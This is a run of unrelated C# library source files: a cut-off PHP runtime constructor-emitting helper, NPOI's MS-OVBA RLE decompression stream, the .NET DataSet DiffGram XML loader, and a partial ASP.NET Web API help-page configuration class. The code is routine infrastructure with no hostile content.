exit.</exception> /// <exception cref="TargetInvocationException">An internal error thrown by the target.</exception> internal static DObject InvokeConstructor(DTypeDesc/*!*/type, ScriptContext context, DTypeDesc caller) { Debug.Assert(type != null); try { var newobj = type.RealTypeCtor_ScriptContext_DTypeDesc; if (newobj == null) lock(type) if ((newobj = type.RealTypeCtor_ScriptContext_DTypeDesc) == null) { // emit the type creation: newobj = type.RealTypeCtor_ScriptContext_DTypeDesc = (DTypeDesc.Ctor_ScriptContext_DTypeDesc)BuildNewObj<DTypeDesc.Ctor_ScriptContext_DTypeDesc>(type.RealType, Emit.Types.ScriptContext_DTypeDesc); } return ClrObject.Wrap(newobj(context, caller)); } catch (TargetInvocationException e) { if (e.InnerException is PhpException || e.InnerException is PhpUserException || e.InnerException is ScriptDiedException || e.InnerException is System.Threading.ThreadAbortException) throw e.InnerException; throw; } } /// <summary> /// Create dynamic method that instantiates given <c>realType</c> using constructor with given <c>types</c>. /// If given <c>realType</c> does not define wanted constructor, dynamic method that throws InvalidOperationException is created. /// </summary> /// <typeparam name="D">The typed delegate the create.</typeparam> /// <param name="realType">The type to be instantiated by dynamic method.</param> /// <param name="types">Types of parameters of wanted constructor to be called.</param> /// <returns>Delegate to dynamic method that creates specified type or throws an exception. The method cannot return null.</returns> private static Delegate/*!*/BuildNewObj<D>(Type/*!*/realType, Type[] types) where D : class { Debug.Assert(realType != null); ConstructorInfo ctor_info = realType.GetConstructor( BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, types, null); DynamicMethod method = new DynamicMethod(string.Format("<{0}>.ctor", realType.Name), Emit.Types.Object[0], types); Emit.ILEmitter il = new PHP.Core.Emit.ILEmitter(method); if (ctor_info != null) { // new T(arg1, arg2, ...); for (int i = 0; i < types.Length; ++i) il.Ldarg(i); il.Emit(OpCodes.Newobj, ctor_info); } else { var invalid_ctor = typeof(InvalidOperationException).GetConstructor(Type.EmptyTypes); Debug.Assert(invalid_ctor != null); // new InvalidOperationException(); il.Emit(OpCodes.Newobj, invalid_ctor); } // return il.Emit(OpCodes.Ret); // return method.CreateDelegate(typeof(D)); } #endregion } #endregion }
/* ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for Additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== */ namespace NPOI.Util { using System; using System.IO; /** * Wrapper of InputStream which provides Run Length Encoding (RLE) * decompression on the fly. Uses MS-OVBA decompression algorithm. See * http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/[MS-OVBA].pdf */ public class RLEDecompressingInputStream : InputStream { /** * Bitmasks for performance */ private static int[] POWER2 = new int[] { 0x0001, // 2^0 0x0002, // 2^1 0x0004, // 2^2 0x0008, // 2^3 0x0010, // 2^4 0x0020, // 2^5 0x0040, // 2^6 0x0080, // 2^7 0x0100, // 2^8 0x0200, // 2^9 0x0400, // 2^10 0x0800, // 2^11 0x1000, // 2^12 0x2000, // 2^13 0x4000, // 2^14 0x8000 // 2^15 }; /** the wrapped inputstream */ private Stream in1; /** a byte buffer with size 4096 for storing a single chunk */ private byte[] buf; /** the current position in the byte buffer for Reading */ private int pos; /** the number of bytes in the byte buffer */ private int len; public override bool CanRead => in1.CanRead; public override bool CanSeek => in1.CanSeek; public override bool CanWrite => in1.CanWrite; public override long Length => in1.Length; public override long Position { get => in1.Position; set => in1.Position = value; } /** * Creates a new wrapper RLE Decompression InputStream. * * @param in The stream to wrap with the RLE Decompression * @throws IOException */ public RLEDecompressingInputStream(Stream in1) { this.in1 = in1; buf = new byte[4096]; pos = 0; int header = in1.ReadByte(); if (header != 0x01) { throw new ArgumentException(String.Format("Header byte 0x01 expected, received 0x{0:X2}", header & 0xFF)); } len = ReadChunk(); } public override int Read() { if (len == -1) { return -1; } if (pos >= len) { if ((len = ReadChunk()) == -1) { return -1; } } return buf[pos++]; } public override int Read(byte[] b) { return Read(b, 0, b.Length); } public override int Read(byte[] b, int off, int l) { if (len == -1) { return -1; } int offset = off; int length = l; while (length > 0) { if (pos >= len) { if ((len = ReadChunk()) == -1) { return offset > off ? offset - off : -1; } } int c = Math.Min(length, len - pos); Array.Copy(buf, pos, b, offset, c); pos += c; length -= c; offset += c; } return l; } public override long Skip(long n) { long length = n; while (length > 0) { if (pos >= len) { if ((len = ReadChunk()) == -1) { return -1; } } int c = (int)Math.Min(n, len - pos); pos += c; length -= c; } return n; } public override int Available() { return (len > 0 ? len - pos : 0); } public override void Close() { in1.Close(); } /** * Reads a single chunk from the underlying inputstream. * * @return number of bytes that were Read, or -1 if the end of the stream was reached. * @throws IOException */ private int ReadChunk() { pos = 0; int w = ReadShort(in1); if (w == -1) { return -1; } int chunkSize = (w & 0x0FFF) + 1; // plus 3 bytes minus 2 for the length if ((w & 0x7000) != 0x3000) { throw new ArgumentException(String.Format("Chunksize header A should be 0x3000, received 0x{0:X4}", w & 0xE000)); } bool rawChunk = (w & 0x8000) == 0; if (rawChunk) { if (in1.Read(buf, 0, chunkSize) < chunkSize) { throw new InvalidOperationException(String.Format("Not enough bytes Read, expected {0}", chunkSize)); } return chunkSize; } else { int inOffset = 0; int outOffset = 0; while (inOffset < chunkSize) { int tokenFlags = in1.ReadByte(); inOffset++; if (tokenFlags == -1) { break; } for (int n = 0; n < 8; n++) { if (inOffset >= chunkSize) { break; } if ((tokenFlags & POWER2[n]) == 0) { // literal int b = in1.ReadByte(); if (b == -1) { return -1; } buf[outOffset++] = (byte)b; inOffset++; } else { // compressed token int token = ReadShort(in1); if (token == -1) { return -1; } inOffset += 2; int copyLenBits = GetCopyLenBits(outOffset - 1); int copyOffset = (token >> (copyLenBits)) + 1; int copyLen = (token & (POWER2[copyLenBits] - 1)) + 3; int startPos = outOffset - copyOffset; int endPos = startPos + copyLen; for (int i = startPos; i < endPos; i++) { buf[outOffset++] = buf[i]; } } } } return outOffset; } } /** * Helper method to determine how many bits in the CopyToken are used for the CopyLength. * * @param offset * @return returns the number of bits in the copy token (a value between 4 and 12) */ static int GetCopyLenBits(int offset) { for (int n = 11; n >= 4; n--) { if ((offset & POWER2[n]) != 0) { return 15 - n; } } return 12; } /** * Convenience method for read a 2-bytes short in little endian encoding. * * @return short value from the stream, -1 if end of stream is reached * @throws IOException */ public int ReadShort() { return ReadShort(this); } /** * Convenience method for read a 4-bytes int in little endian encoding. * * @return integer value from the stream, -1 if end of stream is reached * @throws IOException */ public int ReadInt() { return ReadInt(this); } private int ReadShort(Stream stream) { int b0, b1; if ((b0 = stream.ReadByte()) == -1) { return -1; } if ((b1 = stream.ReadByte()) == -1) { return -1; } return (b0 & 0xFF) | ((b1 & 0xFF) << 8); } private int ReadInt(InputStream stream) { int b0, b1, b2, b3; if ((b0 = stream.Read()) == -1) { return -1; } if ((b1 = stream.Read()) == -1) { return -1; } if ((b2 = stream.Read()) == -1) { return -1; } if ((b3 = stream.Read()) == -1) { return -1; } return (b0 & 0xFF) | ((b1 & 0xFF) << 8) | ((b2 & 0xFF) << 16) | ((b3 & 0xFF) << 24); } public static byte[] Decompress(byte[] compressed) { return Decompress(compressed, 0, compressed.Length); } public static byte[] Decompress(byte[] compressed, int offset, int length) { MemoryStream out1 = new MemoryStream(); Stream instream = new MemoryStream(compressed, offset, length); InputStream stream = new RLEDecompressingInputStream(instream); IOUtils.Copy(stream, out1); stream.Close(); out1.Close(); return out1.ToArray(); } public override void Flush() { in1.Flush(); } public override long Seek(long offset, SeekOrigin origin) { return in1.Seek(offset, origin); } public override void SetLength(long value) { in1.SetLength(value); } public override void Write(byte[] buffer, int offset, int count) { in1.Write(buffer, offset, count); } } }
//------------------------------------------------------------------------------ // <copyright file="XMLDiffLoader.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> // <owner current="true" primary="true">[....]</owner> // <owner current="true" primary="false">[....]</owner> // <owner current="false" primary="false">[....]</owner> //------------------------------------------------------------------------------ namespace System.Data { using System; using System.Runtime.Serialization.Formatters; using System.Configuration.Assemblies; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Collections; using System.Globalization; using Microsoft.Win32; using System.ComponentModel; using System.Xml; using System.Xml.Serialization; internal sealed class XMLDiffLoader { ArrayList tables; DataSet dataSet = null; DataTable dataTable = null; internal void LoadDiffGram(DataSet ds, XmlReader dataTextReader) { XmlReader reader = DataTextReader.CreateReader(dataTextReader); dataSet = ds; while (reader.LocalName == Keywords.SQL_BEFORE && reader.NamespaceURI==Keywords.DFFNS) { ProcessDiffs(ds, reader); reader.Read(); // now the reader points to the error section } while (reader.LocalName == Keywords.MSD_ERRORS && reader.NamespaceURI==Keywords.DFFNS) { ProcessErrors(ds, reader); Debug.Assert(reader.LocalName == Keywords.MSD_ERRORS && reader.NamespaceURI==Keywords.DFFNS, "something fishy"); reader.Read(); // pass the end of errors tag } } private void CreateTablesHierarchy(DataTable dt) { foreach( DataRelation r in dt.ChildRelations ) { if (! tables.Contains((DataTable)r.ChildTable)) { tables.Add((DataTable)r.ChildTable); CreateTablesHierarchy(r.ChildTable) ; } } } internal void LoadDiffGram(DataTable dt, XmlReader dataTextReader) { XmlReader reader = DataTextReader.CreateReader(dataTextReader); dataTable = dt; tables = new ArrayList(); tables.Add(dt); CreateTablesHierarchy(dt); while (reader.LocalName == Keywords.SQL_BEFORE && reader.NamespaceURI==Keywords.DFFNS) { ProcessDiffs(tables, reader); reader.Read(); // now the reader points to the error section } while (reader.LocalName == Keywords.MSD_ERRORS && reader.NamespaceURI==Keywords.DFFNS) { ProcessErrors(tables, reader); Debug.Assert(reader.LocalName == Keywords.MSD_ERRORS && reader.NamespaceURI==Keywords.DFFNS, "something fishy"); reader.Read(); // pass the end of errors tag } } internal void ProcessDiffs(DataSet ds, XmlReader ssync) { DataTable tableBefore; DataRow row; int oldRowRecord; int pos = -1; int iSsyncDepth = ssync.Depth; ssync.Read(); // pass the before node. SkipWhitespaces(ssync); while (iSsyncDepth < ssync.Depth) { tableBefore = null; string diffId = null; oldRowRecord = -1; // the diffgramm always contains sql:before and sql:after pairs int iTempDepth = ssync.Depth; diffId = ssync.GetAttribute(Keywords.DIFFID, Keywords.DFFNS); bool hasErrors = (bool) (ssync.GetAttribute(Keywords.HASERRORS, Keywords.DFFNS) == Keywords.TRUE); oldRowRecord = ReadOldRowData(ds, ref tableBefore, ref pos, ssync); if (oldRowRecord == -1) continue; if (tableBefore == null) throw ExceptionBuilder.DiffgramMissingSQL(); row = (DataRow)tableBefore.RowDiffId[diffId]; if (row != null) { row.oldRecord = oldRowRecord ; tableBefore.recordManager[oldRowRecord] = row; } else { row = tableBefore.NewEmptyRow(); tableBefore.recordManager[oldRowRecord] = row; row.oldRecord = oldRowRecord; row.newRecord = oldRowRecord; tableBefore.Rows.DiffInsertAt(row, pos); row.Delete(); if (hasErrors) tableBefore.RowDiffId[diffId] = row; } } return; } internal void ProcessDiffs(ArrayList tableList, XmlReader ssync) { DataTable tableBefore; DataRow row; int oldRowRecord; int pos = -1; int iSsyncDepth = ssync.Depth; ssync.Read(); // pass the before node. //SkipWhitespaces(ssync); for given scenario does not require this change, but in fact we should do it. while (iSsyncDepth < ssync.Depth) { tableBefore = null; string diffId = null; oldRowRecord = -1; // the diffgramm always contains sql:before and sql:after pairs int iTempDepth = ssync.Depth; diffId = ssync.GetAttribute(Keywords.DIFFID, Keywords.DFFNS); bool hasErrors = (bool) (ssync.GetAttribute(Keywords.HASERRORS, Keywords.DFFNS) == Keywords.TRUE); oldRowRecord = ReadOldRowData(dataSet, ref tableBefore, ref pos, ssync); if (oldRowRecord == -1) continue; if (tableBefore == null) throw ExceptionBuilder.DiffgramMissingSQL(); row = (DataRow)tableBefore.RowDiffId[diffId]; if (row != null) { row.oldRecord = oldRowRecord ; tableBefore.recordManager[oldRowRecord] = row; } else { row = tableBefore.NewEmptyRow(); tableBefore.recordManager[oldRowRecord] = row; row.oldRecord = oldRowRecord; row.newRecord = oldRowRecord; tableBefore.Rows.DiffInsertAt(row, pos); row.Delete(); if (hasErrors) tableBefore.RowDiffId[diffId] = row; } } return; } internal void ProcessErrors(DataSet ds, XmlReader ssync) { DataTable table; int iSsyncDepth = ssync.Depth; ssync.Read(); // pass the before node. while (iSsyncDepth < ssync.Depth) { table = ds.Tables.GetTable(XmlConvert.DecodeName(ssync.LocalName), ssync.NamespaceURI); if (table == null) throw ExceptionBuilder.DiffgramMissingSQL(); string diffId = ssync.GetAttribute(Keywords.DIFFID, Keywords.DFFNS); DataRow row = (DataRow)table.RowDiffId[diffId]; string rowError = ssync.GetAttribute(Keywords.MSD_ERROR, Keywords.DFFNS); if (rowError != null) row.RowError = rowError; int iRowDepth = ssync.Depth; ssync.Read(); // we may be inside a column while (iRowDepth < ssync.Depth) { if (XmlNodeType.Element == ssync.NodeType) { DataColumn col = table.Columns[XmlConvert.DecodeName(ssync.LocalName), ssync.NamespaceURI]; //if (col == null) // throw exception here string colError = ssync.GetAttribute(Keywords.MSD_ERROR, Keywords.DFFNS); row.SetColumnError(col, colError); } ssync.Read(); } while ((ssync.NodeType == XmlNodeType.EndElement) && (iSsyncDepth < ssync.Depth) ) ssync.Read(); } return; } internal void ProcessErrors(ArrayList dt, XmlReader ssync) { DataTable table; int iSsyncDepth = ssync.Depth; ssync.Read(); // pass the before node. while (iSsyncDepth < ssync.Depth) { table = GetTable(XmlConvert.DecodeName(ssync.LocalName), ssync.NamespaceURI); if (table == null) throw ExceptionBuilder.DiffgramMissingSQL(); string diffId = ssync.GetAttribute(Keywords.DIFFID, Keywords.DFFNS); DataRow row = (DataRow)table.RowDiffId[diffId]; if (row == null) { for(int i = 0; i < dt.Count; i++) { row = (DataRow)((DataTable)dt[i]).RowDiffId[diffId]; if (row != null) { table = row.Table; break; } } } string rowError = ssync.GetAttribute(Keywords.MSD_ERROR, Keywords.DFFNS); if (rowError != null) row.RowError = rowError; int iRowDepth = ssync.Depth; ssync.Read(); // we may be inside a column while (iRowDepth < ssync.Depth) { if (XmlNodeType.Element == ssync.NodeType) { DataColumn col = table.Columns[XmlConvert.DecodeName(ssync.LocalName), ssync.NamespaceURI]; //if (col == null) // throw exception here string colError = ssync.GetAttribute(Keywords.MSD_ERROR, Keywords.DFFNS); row.SetColumnError(col, colError); } ssync.Read(); } while ((ssync.NodeType == XmlNodeType.EndElement) && (iSsyncDepth < ssync.Depth) ) ssync.Read(); } return; } private DataTable GetTable(string tableName, string ns) { if (tables == null) return dataSet.Tables.GetTable(tableName, ns); if (tables.Count == 0) return (DataTable)tables[0]; for(int i = 0; i < tables.Count; i++) { DataTable dt = (DataTable)tables[i]; if ((string.Compare(dt.TableName, tableName, StringComparison.Ordinal) == 0) && (string.Compare(dt.Namespace, ns, StringComparison.Ordinal) == 0)) return dt; } return null; } private int ReadOldRowData(DataSet ds, ref DataTable table, ref int pos, XmlReader row) { // read table information if (ds != null) { table = ds.Tables.GetTable(XmlConvert.DecodeName(row.LocalName), row.NamespaceURI); } else { table = GetTable(XmlConvert.DecodeName(row.LocalName), row.NamespaceURI); } if (table == null) { row.Skip(); // need to skip this element if we dont know about it, before returning -1 return -1; } int iRowDepth = row.Depth; string value = null; if (table == null) throw ExceptionBuilder.DiffgramMissingTable(XmlConvert.DecodeName(row.LocalName)); value = row.GetAttribute(Keywords.ROWORDER, Keywords.MSDNS); if (!Common.ADP.IsEmpty(value)) { pos = (Int32) Convert.ChangeType(value, typeof(Int32), null); } int record = table.NewRecord(); foreach (DataColumn col in table.Columns) { col[record] = DBNull.Value; } foreach (DataColumn col in table.Columns) { if ((col.ColumnMapping == MappingType.Element) || (col.ColumnMapping == MappingType.SimpleContent)) continue; if (col.ColumnMapping == MappingType.Hidden) { value = row.GetAttribute("hidden"+col.EncodedColumnName, Keywords.MSDNS); } else { value = row.GetAttribute(col.EncodedColumnName, col.Namespace); } if (value == null) { continue; } col[record] = col.ConvertXmlToObject(value); } row.Read(); SkipWhitespaces(row); int currentDepth = row.Depth; if (currentDepth <= iRowDepth) { // the node is empty if (currentDepth == iRowDepth && row.NodeType == XmlNodeType.EndElement) { // VSTFDEVDIV 764390: read past the EndElement of the current row // note: (currentDepth == iRowDepth) check is needed so we do not skip elements on parent rows. row.Read(); SkipWhitespaces(row); } return record; } if (table.XmlText != null) { DataColumn col = table.XmlText; col[record] = col.ConvertXmlToObject(row.ReadString()); } else { while (row.Depth > iRowDepth) { String ln =XmlConvert.DecodeName( row.LocalName) ; String ns = row.NamespaceURI; DataColumn column = table.Columns[ln, ns]; if (column == null) { while((row.NodeType != XmlNodeType.EndElement) && (row.LocalName!=ln) && (row.NamespaceURI!=ns)) row.Read(); // consume the current node row.Read(); // now points to the next column //SkipWhitespaces(row); seems no need, just in case if we see other issue , this will be here as hint continue;// add a read here! } if (column.IsCustomType) { // if column's type is object or column type does not implement IXmlSerializable bool isPolymorphism = (column.DataType == typeof(Object)|| (row.GetAttribute(Keywords.MSD_INSTANCETYPE, Keywords.MSDNS) != null) || (row.GetAttribute(Keywords.TYPE, Keywords.XSINS) != null)) ; bool skipped = false; if (column.Table.DataSet != null && column.Table.DataSet.UdtIsWrapped) { row.Read(); // if UDT is wrapped, skip the wrapper skipped = true; } XmlRootAttribute xmlAttrib = null; if (!isPolymorphism && !column.ImplementsIXMLSerializable) { // THIS // if does not implement IXLSerializable, need to go with XmlSerializer: pass XmlRootAttribute if (skipped) { xmlAttrib = new XmlRootAttribute(row.LocalName); xmlAttrib.Namespace = row.NamespaceURI ; } else { xmlAttrib = new XmlRootAttribute(column.EncodedColumnName); xmlAttrib.Namespace = column.Namespace; } } // for else case xmlAttrib MUST be null column[record] = column.ConvertXmlToObject(row, xmlAttrib); // you need to pass null XmlAttib here if (skipped) { row.Read(); // if Wrapper is skipped, skip its end tag } } else { int iColumnDepth = row.Depth; row.Read(); // SkipWhitespaces(row);seems no need, just in case if we see other issue , this will be here as hint if (row.Depth > iColumnDepth) { //we are inside the column if (row.NodeType == XmlNodeType.Text || row.NodeType == XmlNodeType.Whitespace || row.NodeType == XmlNodeType.SignificantWhitespace) { String text = row.ReadString(); column[record] = column.ConvertXmlToObject(text); row.Read(); // now points to the next column } } else { // <element></element> case if (column.DataType == typeof(string)) column[record] = string.Empty; } } } } row.Read(); //now it should point to next row SkipWhitespaces(row); return record; } internal void SkipWhitespaces(XmlReader reader) { while (reader.NodeType == XmlNodeType.Whitespace || reader.NodeType == XmlNodeType.SignificantWhitespace) { reader.Read(); } } } }
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Net.Http; using System.Net.Http.Headers; using System.Web.Http; using System.Web.Http.Controllers; using System.Web.Http.Description; using Rate.Areas.HelpPage.ModelDescriptions; using Rate.Areas.HelpPage.Models; namespace Rate.Areas.HelpPage { public static class HelpPageConfigurationExtensions { private const string ApiModelPrefix = "MS_HelpPageApiModel_"; /// <summary> /// Sets the documentation provider for help page. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="documentationProvider">The documentation provider.</param> public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider) { config.Services.Replace(typeof(IDocumentationProvider), documentationProvider); } /// <summary> /// Sets the objects that will be used by the formatters to produce sample requests/responses. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleObjects">The sample objects.</param> public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects) { config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects; } /// <summary> /// Sets the sample request directly for the specified media type and action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample request directly for the specified media type and action with parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample request.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample request directly for the specified media type of the action. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample); } /// <summary> /// Sets the sample response directly for the specified media type of the action with specific parameters. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample response.</param> /// <param name="mediaType">The media type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample); } /// <summary> /// Sets the sample directly for all actions with the specified media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> public static void SetSampleForMediaType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType), sample); } /// <summary> /// Sets the sample directly for all actions with the specified type and media type. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sample">The sample.</param> /// <param name="mediaType">The media type.</param> /// <param name="type">The parameter type or return type of an action.</param> public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type) { config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate request samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type); } /// <summary> /// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action. /// The help page will use this information to produce more accurate response samples. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="type">The type.</param> /// <param name="controllerName">Name of the controller.</param> /// <param name="actionName">Name of the action.</param> /// <param name="parameterNames">The parameter names.</param> public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames) { config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type); } /// <summary> /// Gets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <returns>The help page sample generator.</returns> public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config) { return (HelpPageSampleGenerator)config.Properties.GetOrAdd( typeof(HelpPageSampleGenerator), k => new HelpPageSampleGenerator()); } /// <summary> /// Sets the help page sample generator. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="sampleGenerator">The help page sample generator.</param> public static void SetHelpPageSampleGenerator(this HttpConfiguration config, HelpPageSampleGenerator sampleGenerator) { config.Properties.AddOrUpdate( typeof(HelpPageSampleGenerator), k => sampleGenerator, (k, o) => sampleGenerator); } /// <summary> /// Gets the model description generator. /// </summary> /// <param name="config">The configuration.</param> /// <returns>The <see cref="ModelDescriptionGenerator"/></returns> public static ModelDescriptionGenerator GetModelDescriptionGenerator(this HttpConfiguration config) { return (ModelDescriptionGenerator)config.Properties.GetOrAdd( typeof(ModelDescriptionGenerator), k => InitializeModelDescriptionGenerator(config)); } /// <summary> /// Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls. /// </summary> /// <param name="config">The <see cref="HttpConfiguration"/>.</param> /// <param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param> /// <returns> /// An <see cref="HelpPageApiModel"/> /// </returns> public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId) { object model; string modelId = ApiModelPrefix + apiDescriptionId; if (!config.Properties.TryGetValue(modelId, out model)) { Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions; ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase)); if (apiDescription != null) { model = GenerateApiModel(apiDescription, config); config.Properties.TryAdd(modelId, model); } } return (HelpPageApiModel)model; } private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, HttpConfiguration config) { HelpPageApiModel apiModel = new HelpPageApiModel() { ApiDescription = apiDescription, }; ModelDescriptionGenerator modelGenerator = config.GetModelDescriptionGenerator(); HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); GenerateUriParameters(apiModel, modelGenerator); GenerateRequestModelDescription(apiModel, modelGenerator, sampleGenerator); GenerateResourceDescription(apiModel, modelGenerator); GenerateSamples(apiModel, sampleGenerator); return apiModel; } private static void GenerateUriParameters(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator) { ApiDescription apiDescription = apiModel.ApiDescription; foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions) { if (apiParameter.Source == ApiParameterSource.FromUri) { HttpParameterDescriptor parameterDescriptor = apiParameter.ParameterDescriptor; Type parameterType = null; ModelDescription typeDescription = null; ComplexTypeModelDescription complexTypeDescription = null; if (parameterDescriptor != null) { parameterType = parameterDescriptor.ParameterType; typeDescription = modelGenerator.GetOrCreateModelDescription(parameterType); complexTypeDescription = typeDescription as ComplexTypeModelDescription; } // Example: // [TypeConverter(typeof(PointConverter))] // public class Point // { // public Point(int x, int y) // { // X = x; // Y = y; // } // public int X { get; set; } // public int Y { get; set; } // } // Class Point is bindable with a TypeConverter, so Point will be added to UriParameters collection. // // public class Point // { // public int X { get; set; } // public int Y { get; set; } // } // Regular complex class Point will have properties X and Y added to UriParameters collection. if (complexTypeDescription != null && !IsBindableWithTypeConverter(parameterType)) { foreach (ParameterDescription uriParameter in complexTypeDescription.Properties) { apiModel.UriParameters.Add(uriParameter); } } else if (parameterDescriptor != null) { ParameterDescription uriParameter = AddParameterDescription(apiModel, apiParameter, typeDescription); if (!parameterDescriptor.IsOptional) { uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Required" }); } object defaultValue = parameterDescriptor.DefaultValue; if (defaultValue != null) { uriParameter.Annotations.Add(new ParameterAnnotation() { Documentation = "Default value is " + Convert.ToString(defaultValue, CultureInfo.InvariantCulture) }); } } else { Debug.Assert(parameterDescriptor == null); // If parameterDescriptor is null, this is an undeclared route parameter which only occurs // when source is FromUri. Ignored in request model and among resource parameters but listed // as a simple string here. ModelDescription modelDescription = modelGenerator.GetOrCreateModelDescription(typeof(string)); 